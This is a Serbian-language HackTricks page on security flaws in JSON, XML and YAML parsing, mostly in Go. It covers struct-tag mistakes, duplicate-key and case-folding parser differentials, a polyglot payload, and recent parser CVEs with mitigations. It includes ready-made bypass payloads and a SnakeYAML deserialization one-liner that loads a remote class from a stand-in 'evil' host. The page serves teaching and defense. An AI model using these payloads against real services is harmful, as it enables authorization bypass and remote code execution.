JSON, XML & Yaml Hacking & Issues
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Go JSON Decoder
Sledeći problemi su otkriveni u Go JSON-u, iako se mogu pojaviti i u drugim jezicima. Ovi problemi su objavljeni u ovom blog postu.
Go-ovi JSON, XML i YAML parseri imaju dugu istoriju nedoslednosti i nesigurnih podrazumevanih postavki koje se mogu iskoristiti za obići autentifikaciju, povećati privilegije ili ekstraktovati osetljive podatke.
(Un)Marshaling Unexpected Data
Cilj je iskoristiti strukture koje omogućavaju napadaču da čita/piše osetljiva polja (npr., IsAdmin
, Password
).
- Primer strukture:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Uobičajene ranjivosti
- Nedostajući tag (bez taga = polje se i dalje obrađuje po defaultu):
type User struct {
Username string
}
Teret:
{"Username": "admin"}
- Pogrešna upotreba
-
:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Pravi način da se blokira polje od (de)serijalizacije:
type User struct {
IsAdmin bool `json:"-"`
}
Parser Differentials
Cilj je zaobići autorizaciju iskorišćavanjem načina na koji različiti parseri različito interpretiraju isti payload, kao u:
- CVE-2017-12635: Apache CouchDB zaobilaženje putem duplih ključeva
- 2022: Zoom 0-click RCE putem nekonzistentnosti XML parsera
- GitLab 2025 SAML zaobilaženje putem XML čudnosti
1. Dupli Polja:
Go-ov encoding/json
uzima poslednje polje.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Ostali parseri (npr., Java-ov Jackson) mogu uzeti prvi.
2. Neosetljivost na velika i mala slova: Go je neosetljiv na velika i mala slova:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Čak i Unicode trikovi rade:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Neusklađenost između usluga: Zamislite:
- Proxy napisan u Go
- AuthZ usluga napisana u Pythonu
Napadač šalje:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python vidi
UserAction
, dozvoljava ga - Go vidi
AdminAction
, izvršava ga
Zbunjenost formata podataka (Poliglot)
Cilj je iskoristiti sisteme koji mešaju formate (JSON/XML/YAML) ili se otvaraju na greškama parsera kao što su:
- CVE-2020-16250: HashiCorp Vault je parsirao JSON sa XML parserom nakon što je STS vratio JSON umesto XML.
Napadač kontroliše:
Accept: application/json
zaglavlje- Delimičnu kontrolu nad JSON telom
Go-ov XML parser je to u svakom slučaju parsirao i verovao injektovanoj identitetu.
- Kreirani payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Rezultat:
- Go JSON parser:
Action_2
(neosetljivo + poslednje pobednik) - YAML parser:
Action_1
(osetljivo na velika i mala slova) - XML parser: parsira
"Action_3"
unutar stringa
Značajne ranjivosti parsera (2023-2025)
Sledeći javno eksploatabilni problemi pokazuju da je nesigurno parsiranje problem više jezika — nije samo problem Go-a.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Pogađa:
org.yaml:snakeyaml
< 2.0 (koristi se u Spring-Boot, Jenkins, itd.). - Osnovni uzrok:
new Constructor()
deserializuje arbitrarne Java klase, omogućavajući lanac gadgeta koji kulminira u izvršavanju daljinskog koda. - Jednolinijski PoC (otvoriće kalkulator na ranjivom hostu):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Popravka / Ublažavanje:
- Ažurirajte na ≥2.0 (koristi
SafeLoader
po defaultu). - Na starijim verzijama, eksplicitno koristite
new Yaml(new SafeConstructor())
.
libyaml Double-Free (CVE-2024-35325)
- Pogađa:
libyaml
≤0.2.5 (C biblioteka koja se koristi u mnogim jezičkim vezama). - Problem: Pozivanje
yaml_event_delete()
dva puta dovodi do double-free koji napadači mogu iskoristiti za DoS ili, u nekim scenarijima, eksploataciju heap-a. - Status: Upstream odbijen kao “zloupotreba API-ja”, ali Linux distribucije su isporučile zakrčenu 0.2.6 koja null-frees pokazivač odbrambeno.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Pogađa: Tencent RapidJSON pre commit-a
8269bc2
(<1.1.0-patch-22). - Greška: U
GenericReader::ParseNumber()
neproverena aritmetika omogućava napadačima da kreiraju ogromne numeričke literale koji se obavijaju i korumpiraju heap — što na kraju omogućava eskalaciju privilegija kada se rezultantna objekatna grafika koristi za odluke o autorizaciji.
🔐 Ublažavanja (Ažurirano)
Rizik | Popravka / Preporuka |
---|---|
Nepoznati polja (JSON) | decoder.DisallowUnknownFields() |
Duplikat polja (JSON) | ❌ Nema popravke u stdlib — validirajte sa jsoncheck |
Neosetljiva podudarnost (Go) | ❌ Nema popravke — validirajte oznake strukture + pre-kanonizujte ulaz |
XML smešni podaci / XXE | Koristite ojačan parser (encoding/xml + DisallowDTD ) |
YAML nepoznati ključevi | yaml.KnownFields(true) |
Nepouzdana YAML deserializacija | Koristite SafeConstructor / ažurirajte na SnakeYAML ≥2.0 |
libyaml ≤0.2.5 double-free | Ažurirajte na 0.2.6 ili distribucijski zakrčenu verziju |
RapidJSON <zakrčeni commit | Kompajlirajte protiv najnovijeg RapidJSON (≥Juli 2024) |
Reference
- Baeldung – “Rešavanje CVE-2022-1471 sa SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.